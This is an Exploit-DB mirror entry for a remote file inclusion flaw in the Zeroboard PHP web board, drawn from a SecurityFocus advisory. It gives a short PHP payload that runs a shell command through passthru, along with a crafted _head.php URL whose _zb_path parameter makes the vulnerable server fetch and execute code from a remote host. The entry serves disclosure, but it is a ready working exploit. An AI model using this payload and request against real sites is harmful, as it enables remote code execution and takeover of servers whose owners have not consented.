exploit-db-mirror/exploits/php/webapps/21557.txt
Offensive Security b4c96a5864 DB: 2021-09-03
28807 changes to exploits/shellcodes
2021-09-03 20:19:21 +00:00

11 lines
No EOL
614 B
Text

source: https://www.securityfocus.com/bid/5028/info
Zeroboard is a PHP web board package available for the Linux and Unix platforms.
Under some circumstances, it may be possible to include arbitrary PHP files. The _head.php file does not sufficiently check or sanitize input. When the "allow_url_fopen" variable and the "register_globals" variable in php.ini are set to "On," it is possible to load a PHP include file from a remote URL via the _head.php script.
PHP Source file a.php
<? passthru("/bin/ls"); ?>
Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a